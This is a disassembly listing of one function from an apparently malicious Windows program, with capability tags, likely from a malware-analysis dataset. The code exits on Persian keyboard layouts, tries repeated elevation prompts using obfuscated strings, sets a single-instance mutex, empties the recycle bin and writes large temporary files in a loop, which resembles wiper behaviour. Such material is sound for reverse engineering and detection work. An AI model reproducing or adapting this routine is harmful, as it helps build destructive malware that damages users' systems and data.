Function at 0x422c50
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Contain obfuscated stackstrings
Create process on windows
Empty the recycle bin
Get common file path
Get keyboard layout
Terminate process
Terminate thread
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4a3da6
mov eax, dword fs:[0]
push eax
sub esp, 0x250
mov eax, dword [0x4c9100]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [sym.imp.USER32.dll_GetKeyboardLayoutList]
push 0
push 0
call esi
mov dword [ebp - 0x23c], eax
mov ecx, 4
mul ecx
mov ecx, 0xffffffff
cmovb eax, ecx
push eax
call fcn.004619a7
add esp, 4
mov edi, eax
push edi
push dword [ebp - 0x23c]
call esi
test eax, eax
je 0x422ce2
mov edx, dword [ebp - 0x23c]
xor ecx, ecx
test edx, edx
jle 0x422ce2
mov esi, 0x429
nop word [eax + eax]
movzx eax, word [edi + ecx*4]
cmp ax, si
je 0x422ebb
inc ecx
cmp ecx, edx
jl 0x422cd0
push 4
push edi
call fcn.0046160b
add esp, 8
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x422ec3
push 0x104
lea eax, [ebp - 0x218]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
test eax, eax
je 0x422ec3
movsd xmm0, qword [0x4bf960]
lea ecx, [ebp - 0x230]
movsd qword [ebp - 0x238], xmm0
call fcn.0043d730
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x228]
mov byte [ebp - 0x228], 0
mov byte [ebp - 0x227], 0x14
mov byte [ebp - 0x226], 0x2d
mov byte [ebp - 0x225], 0x10
mov byte [ebp - 0x224], 0x2d
mov byte [ebp - 0x223], 0x6e
mov byte [ebp - 0x222], 0x2d
mov byte [ebp - 0x221], 0x55
mov byte [ebp - 0x220], 0x2d
mov byte [ebp - 0x21f], 0x3d
mov byte [ebp - 0x21e], 0x2d
push 5
mov byte [ebp - 0x21d], 0x2d
mov byte [ebp - 0x21c], 0x2d
mov al, byte [ebp - 0x227]
push 0
push 0
lea eax, [ebp - 0x218]
push eax
call fcn.00444000
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteW]
push eax
push 0
call esi
cmp eax, 5
jne 0x422eb3
push ecx
lea ecx, [ebp - 0x244]
call fcn.00444060
push eax
lea ecx, [ebp - 0x230]
call fcn.0043d740
lea ecx, [ebp - 0x244]
call fcn.0042b050
mov edi, dword [sym.imp.KERNEL32.DLL_Sleep]
nop
movsd xmm0, qword [ebp - 0x238]
call fcn.00462230
push eax
call edi
movsd xmm0, qword [ebp - 0x238]
lea ecx, [ebp - 0x228]
mulsd xmm0, qword [0x4bf958]
push 5
push 0
push 0
movsd qword [ebp - 0x238], xmm0
mov byte [ebp - 0x228], 0
mov byte [ebp - 0x227], 0x58
mov byte [ebp - 0x226], 0xc
mov byte [ebp - 0x225], 0x5a
mov byte [ebp - 0x224], 0xc
mov byte [ebp - 0x223], 0x2b
mov byte [ebp - 0x222], 0xc
mov byte [ebp - 0x221], 0x77
mov byte [ebp - 0x220], 0xc
mov byte [ebp - 0x21f], 4
mov byte [ebp - 0x21e], 0xc
mov byte [ebp - 0x21d], 0xc
mov byte [ebp - 0x21c], 0xc
mov al, byte [ebp - 0x227]
lea eax, [ebp - 0x218]
push eax
call fcn.00443fa0
push eax
push 0
call esi
cmp eax, 5
je 0x422df0
push 0
lea ecx, [ebp - 0x230]
call fcn.0043d780
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateThread]
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
push 1
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
xorps xmm0, xmm0
mov dword [ebp - 0x24c], 0
push 0x24
push str.4B991369_7C7C_47AA_A81E_EF6ED1F5E24C
lea ecx, [ebp - 0x25c]
movlpd qword [ebp - 0x230], xmm0
movups xmmword [ebp - 0x25c], xmm0
mov dword [ebp - 0x248], 0
call fcn.00423210
cmp dword [ebp - 0x248], 0xf
lea eax, [ebp - 0x25c]
cmova eax, dword [ebp - 0x25c]
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
mov dword [ebp - 0x230], eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov esi, eax
cmp esi, 0xb7
setne byte [ebp - 0x22c]
mov dword [ebp - 4], 1
mov ecx, dword [ebp - 0x248]
cmp ecx, 0xf
jbe 0x422f76
mov edx, dword [ebp - 0x25c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x422f6c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423179
push ecx
push edx
call fcn.0046160b
add esp, 8
mov dword [ebp - 0x24c], 0
mov dword [ebp - 0x248], 0xf
mov byte [ebp - 0x25c], 0
cmp esi, 0xb7
jne 0x422fa1
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
call fcn.004248e0
push 7
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinW]
lea ecx, [ebp - 0x228]
call fcn.004358e0
mov byte [ebp - 4], 2
mov edi, dword [ebp - 0x224]
mov esi, dword [ebp - 0x228]
cmp esi, edi
je 0x422fdf
mov ecx, esi
call fcn.0043da90
add esi, 0x18
cmp esi, edi
jne 0x422fd1
lea ecx, [ebp - 0x228]
mov byte [ebp - 4], 1
call fcn.0042d390
call fcn.0043dd30
call fcn.004438f0
call fcn.00440890
lea ecx, [ebp - 0x228]
call fcn.004361f0
mov edi, dword [ebp - 0x224]
mov esi, dword [ebp - 0x228]
cmp esi, edi
je 0x423026
mov ecx, esi
call fcn.00440cf0
add esi, 0x18
cmp esi, edi
jne 0x423018
lea ecx, [ebp - 0x228]
call fcn.0042d390
call fcn.0042c430
call fcn.0043ec70
call fcn.00442480
call fcn.00440eb0
lea ecx, [ebp - 0x228]
call fcn.0042bfb0
mov esi, dword [ebp - 0x228]
mov eax, dword [ebp - 0x224]
mov edi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov dword [ebp - 0x23c], esi
mov dword [ebp - 0x240], eax
cmp esi, eax
je 0x42313c
cmp dword [esi + 0x14], 7
mov eax, esi
jbe 0x423080
mov eax, dword [esi]
lea ecx, [ebp - 0x218]
push ecx
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_GetTempFileNameW]
test eax, eax
je 0x42313c
push 2
call dword [sym.imp.KERNEL32.DLL_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.DLL_SetThreadPriority]
push 0
push 0x24000002
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x423136
push 4
push 0x3000
push 0x80000
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov esi, eax
push 0
lea eax, [ebp - 0x234]
push eax
push 0x80000
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
jne 0x4230e5
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call edi
push 0x8000
push 0x80000
push esi
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
mov esi, dword [ebp - 0x23c]
add esi, 0x18
mov dword [ebp - 0x23c], esi
cmp esi, dword [ebp - 0x240]
jne 0x423076
jmp 0x42313c
mov edi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea ecx, [ebp - 0x228]
call fcn.0042d390
call fcn.00443c70
mov esi, dword [ebp - 0x230]
push esi
call dword [sym.imp.KERNEL32.DLL_ReleaseMutex]
push esi
call edi
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004615cd
mov esp, ebp
pop ebp
ret
call fcn.004834cf
int3